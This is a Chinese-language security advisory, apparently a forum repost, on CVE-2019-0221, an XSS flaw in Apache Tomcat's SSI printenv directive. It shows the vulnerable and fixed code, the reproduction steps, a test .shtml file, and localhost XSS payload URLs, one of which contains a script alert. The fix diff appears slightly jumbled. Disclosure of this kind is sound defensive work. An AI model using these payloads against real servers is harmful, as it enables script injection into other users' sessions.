

摘要

Apache Tomcat在其SSI实现中存在漏洞，可用于实现跨站点脚本（XSS）。只有在启用SSI并使用“printenv”指令的情况下，才能利用此漏洞。供应商对这个漏洞的评级为低风险性，且在版本7.0.94、8.5.40和9.0.19中发布了补丁，用户应尽快升级到最新版本。

漏洞详细信息

服务器端包含(SSI)是一些Web服务器中使用的一种简单的脚本语言，用于实现包括文件、变量的值回显和显示有关文件的基本信息等功能。这些只是针对于SSI特定的环境变量。“echo”指令打印出单个变量的值，而“printenv”指令打印出所有变量的值。这两个指令都输出HTML。Apache Tomcat对于使用“echo”指令时正确地转义了XSS值，但对于“printenv”指令则没有。因此，如果应用程序使用这个指令，攻击者可以注入恶意输入，从而导致XSS。比较“echo”参数中正确转义输出的[代码](#)：

```
1
String variableValue = ssiMediator.getVariableValue(originalValue, encoding);
if (variableValue == null) {
    variableValue = MISSING_VARIABLE_VALUE;
}
writer.write(variableValue);
return System.currentTimeMillis();
}
```

与未对输出进行正确转义的“printenv”参数的代码相比：

```
Collection<String> variableNames = ssiMediator.getVariableNames();
for (String variableName : variableNames) {
    String variableValue = ssiMediator
        .getVariableValue(variableName);
    //This shouldn't happen, since all the variable names must
    // have values
    if (variableValue == null) {
        variableValue = "(none)";
    }
    writer.write(variableName);
    writer.write('=');
    writer.write(variableValue);
    writer.write('\n');
    lastModified = System.currentTimeMillis();
}
```

修复方法是添加如下[提交](#)中所示的编码：

3 java/org/apache/catalina/ssi/SSIPrintenv.java

41	41	@@ -41,8 +41,7 @@ public long process(SSIMediator ssiMediator, String commandName,
42	42	} else {
43	43	Collection<String> variableNames = ssiMediator.getVariableNames();
44	-	for (String variableName : variableNames) {
45	-	String variableValue = ssiMediator
44	+	.getVariableValue(variableName);
46	45	String variableValue = ssiMediator.getVariableValue(variableName, "entity");
47	46	//This shouldn't happen, since all the variable names must
48	47	// have values
		if (variableValue == null) {

- 为了成功利用该漏洞，前期工作应该准备以下几点：
- 1. 必须在Apache Tomcat中启用SSI支持 - 全局或特定Web应用程序。默认情况下不启用。
 - 2. Web应用程序中必须存在具有“printenv”SSI指令的文件(通常为“.shtml”)。
 - 3. 攻击者必须能够访问该文件。

复现步骤

- 1. 在Windows中安装Java运行时环境(JRE)。
- 2. 下载有漏洞的Tomcat版本并解压。
- 3. 在第19行修改conf\context.xml文件，获得上下文权限（这也可以在单个应用程序上执行，而不是全局执行）

```
Context privileged = "true">
```

- 4. 根据这里的[指令](#)修改conf\web.xml以启用SSI servlet(这也可以在单独的应用程序上完成，也可以是全局的)。
- 5. 将以下代码放在“webapps / ROOT / ssi / printenv.shtml”中：

```
<html><head><title></title><body>
Echo test: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Printenv test: <!--#printenv -->
</body></html>
```

- 6. 通过以下命令运行Tomcat：

```
cd bin
catalina run
```

- 7. 利用以下URL来触发XSS(可能需要使用Firefox)。观察正确转义的“echo”指令与无法正确转义的“ printenv ”指令之间的区别

```
http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
```

```
http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E
```

Echo test:
<h1>XSS</h1>

Printenv test: REMOTE_HOST=0:0:0:0:0:0:1 SERVER_PROTOCOL=HTTP/1.1 REMOTE_ADDR=0:0:0:0:0:0:1 REQUEST_URI=/ssi/printenv.shtml DATE_GMT=Sunday, 17-Feb-2019 15:10:16 GMT LAST_MODIFIED=Sunday, 17-Feb-2019 10:09:01 EST SERVER_SOFTWARE=Apache Tomcat/9.0.16 OpenJDK 64-Bit Server VM/11.0.1+13 DOCUMENT_URI=/ssi/printenv.shtml UNIQUE_ID=11BF93D979E2ADE2868CE18807D2F8F1 DOCUMENT_NAME=printenv.shtml QUERY_STRING_UNESCAPED=

XSS

REMOTE_PORT=64526 REQUEST_METHOD=GET SCRIPT_NAME=/ssi/printenv.shtml SERVER_NAME=localhost GATEWAY_INTERFACE=CGI/1.1 SERVER_PORT=8080 SCRIPT_FILENAME=/apache-tomcat-9.0.16/webapps/ROOT/ssi/printenv.shtml HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.9 HTTP_HOST=localhost:8080 QUERY_STRING=%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 HTTP_USER_AGENT= SERVER_ADDR=0:0:0:0:0:0:1 HTTP_CONNECTION=keep-alive DATE_LOCAL=Sunday, 17-Feb-2019 10:10:16 EST HTTP_ACCEPT_ENCODING=gzip, deflate, br



供应商回应

通过由Intigriti运营的欧盟FOSSA赏金计划向供应商报告了该问题。供应商将其标记为CVE-2019-0221，并打了补丁
供应商对此漏洞的评级为“低风险”，他们的原因如下：

- 1.默认情况下禁用SSI
- 2.很少有人会用SSI
- 3.printenv命令也不会经常用到

供应商表示以下版本包含该漏洞（早期版本没有相关信息）：

Tomcat 9 - ■■■9.0.0.M1■9.0.17■9.0.18■■■■■
Tomcat 8 - ■■8.5.0■8.5.39
Tomcat 7 - ■■7.0.0■7.0.93

建议用户升级到以下固定版本或更高版本：

Tomcat 9 - version 9.0.19
Tomcat 8 - version 8.5.40
Tomcat 7 - version 7.0.94

赏金信息

该报告符合欧盟FOSSA奖励计划的要求，并已支付赏金。

参考

[Apache SSI](#)
CVE-ID: [CVE-2019-0221](#)
CVSS 2.0评分：待定
CVSS 3.0评分：待定
[Tomcat SSI\](#)
[供应商建议](#)

■■■<https://www.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/>

点击收藏 | 0 关注 | 1

[上一篇：通过Skype Web插件和Qt ...](#) [下一篇：2019强网杯Web部分题解\(4题\)](#)

1. 0 条回复
- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)